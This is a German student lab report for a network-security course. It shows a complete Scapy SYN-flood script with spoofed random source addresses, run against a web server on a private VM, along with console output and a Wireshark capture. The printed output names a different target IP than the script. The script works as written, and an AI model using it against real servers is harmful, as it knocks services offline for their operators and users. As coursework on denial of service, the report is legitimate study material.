

Netzwerksicherheit

Aufgabe 1 (DOS)

Julian Bertol

3. April 2025

Ich habe 2 VMs jeweils mit einem Linux Ubuntu aufgesetzt. Nun habe ich auf der einen VM mit Python einen Webserver gestartet der nun folgendes anzeigt.



Danach habe ich wie in der Aufgabe beschrieben ein Python-Script mithilfe der Erweiterung Scapy geschrieben.

A screenshot of a terminal window displaying a Python script. The script uses the telnetlib and scapy libraries to perform a SYN-flood attack on a target server at IP 10.211.55.4 and port 80. It sends SYN packets from random source ports and prints progress every 10 packets.

```
from telnetlib import IP

from scapy.all import *
import random
import time

from scapy.layers.inet import TCP

# Ziel-Server und Port
target_ip = "10.211.55.4" # IP des Webservers
target_port = 80

def syn_flood(target_ip, target_port):
    print(f"Starte SYN-Flood-Angriff auf {target_ip}:{target_port}...\n")

    packet_count = 0 # Zähler für gesendete Pakete

    while True:
        # Zufällige Quell-IP generieren
        src_ip = ".".join(map(str, (random.randint(1, 255) for _ in range(4))))
        src_port = random.randint(1024, 65535) # Zufälliger Quellport

        # IP- und TCP-Header erstellen
        ip = IP(src=src_ip, dst=target_ip)
        tcp = TCP(sport=src_port, dport=target_port, flags="S")
        packet = ip / tcp # Paket zusammenstellen

        # Paket senden
        send(packet, verbose=False)
        packet_count += 1

        # Ausgabe alle 10 Pakete
        if packet_count % 10 == 0:
            print(f"{packet_count} SYN-Pakete gesendet... Letzte Quelle: {src_ip}: {src_port}")

        time.sleep(0.1)

syn_flood(target_ip, target_port)
```

Diese Script sendet mit zufälligen Quell-IP Adressen anfragen an den Webserver. Dadurch erhofft man sich, dass der Server überlastet wird.

```
Starting SYN-Flood-Attack auf 192.168.1.100:80...
10 SYN-Pakete gesendet... Letzte Quelle: 186.48.100.37:17333
20 SYN-Pakete gesendet... Letzte Quelle: 59.250.237.146:51664
30 SYN-Pakete gesendet... Letzte Quelle: 228.92.111.151:56373
40 SYN-Pakete gesendet... Letzte Quelle: 55.87.18.80:16487
50 SYN-Pakete gesendet... Letzte Quelle: 96.43.109.199:7575
60 SYN-Pakete gesendet... Letzte Quelle: 53.226.45.46:38066
70 SYN-Pakete gesendet... Letzte Quelle: 144.18.248.172:47744
80 SYN-Pakete gesendet... Letzte Quelle: 209.241.68.78:3713
90 SYN-Pakete gesendet... Letzte Quelle: 21.45.91.138:1970
100 SYN-Pakete gesendet... Letzte Quelle: 85.19.117.177:2090
110 SYN-Pakete gesendet... Letzte Quelle: 100.150.231.172:62621
120 SYN-Pakete gesendet... Letzte Quelle: 14.224.189.39:39238
130 SYN-Pakete gesendet... Letzte Quelle: 5.72.231.67:10133
140 SYN-Pakete gesendet... Letzte Quelle: 115.18.205.201:20807
^[$150 SYN-Pakete gesendet... Letzte Quelle: 122.36.227.29:29563
160 SYN-Pakete gesendet... Letzte Quelle: 158.209.240.230:11786
170 SYN-Pakete gesendet... Letzte Quelle: 85.64.170.143:19082
180 SYN-Pakete gesendet... Letzte Quelle: 234.90.178.76:22216
190 SYN-Pakete gesendet... Letzte Quelle: 96.148.48.167:53348
200 SYN-Pakete gesendet... Letzte Quelle: 41.127.176.24:24692
210 SYN-Pakete gesendet... Letzte Quelle: 235.238.124.143:39266
220 SYN-Pakete gesendet... Letzte Quelle: 28.164.90.161:20878
230 SYN-Pakete gesendet... Letzte Quelle: 11.237.175.109:61179
240 SYN-Pakete gesendet... Letzte Quelle: 2.25.204.225:61993
250 SYN-Pakete gesendet... Letzte Quelle: 212.88.195.229:9217
```

Hier noch ein Screenshot aus Wireshark auf dem Webserver

No.	Time	Source	Destination	Protocol	Length	Info
2424	434.587190374	70.238.240.60	10.211.55.4	TCP	56	61020 → 80 [S]
2427	434.696891541	139.69.188.37	10.211.55.4	TCP	56	47070 → 80 [S]
2430	434.806593374	108.201.210.226	10.211.55.4	TCP	56	41965 → 80 [S]
2433	434.911397791	50.215.201.151	10.211.55.4	TCP	56	13784 → 80 [S]
2436	435.020221416	126.165.82.109	10.211.55.4	TCP	56	13484 → 80 [S]
2439	435.130914541	33.15.28.245	10.211.55.4	TCP	56	20944 → 80 [S]
2442	435.239522249	186.229.32.29	10.211.55.4	TCP	56	33754 → 80 [S]
2445	435.345920916	179.206.129.142	10.211.55.4	TCP	56	16056 → 80 [S]
2448	435.455410958	226.37.30.3	10.211.55.4	TCP	56	25533 → 80 [S]
2449	435.565157499	107.110.28.35	10.211.55.4	TCP	56	13540 → 80 [S]

Nun muss man ein wenig warten, dann wird der server irgendwann überlastet sein.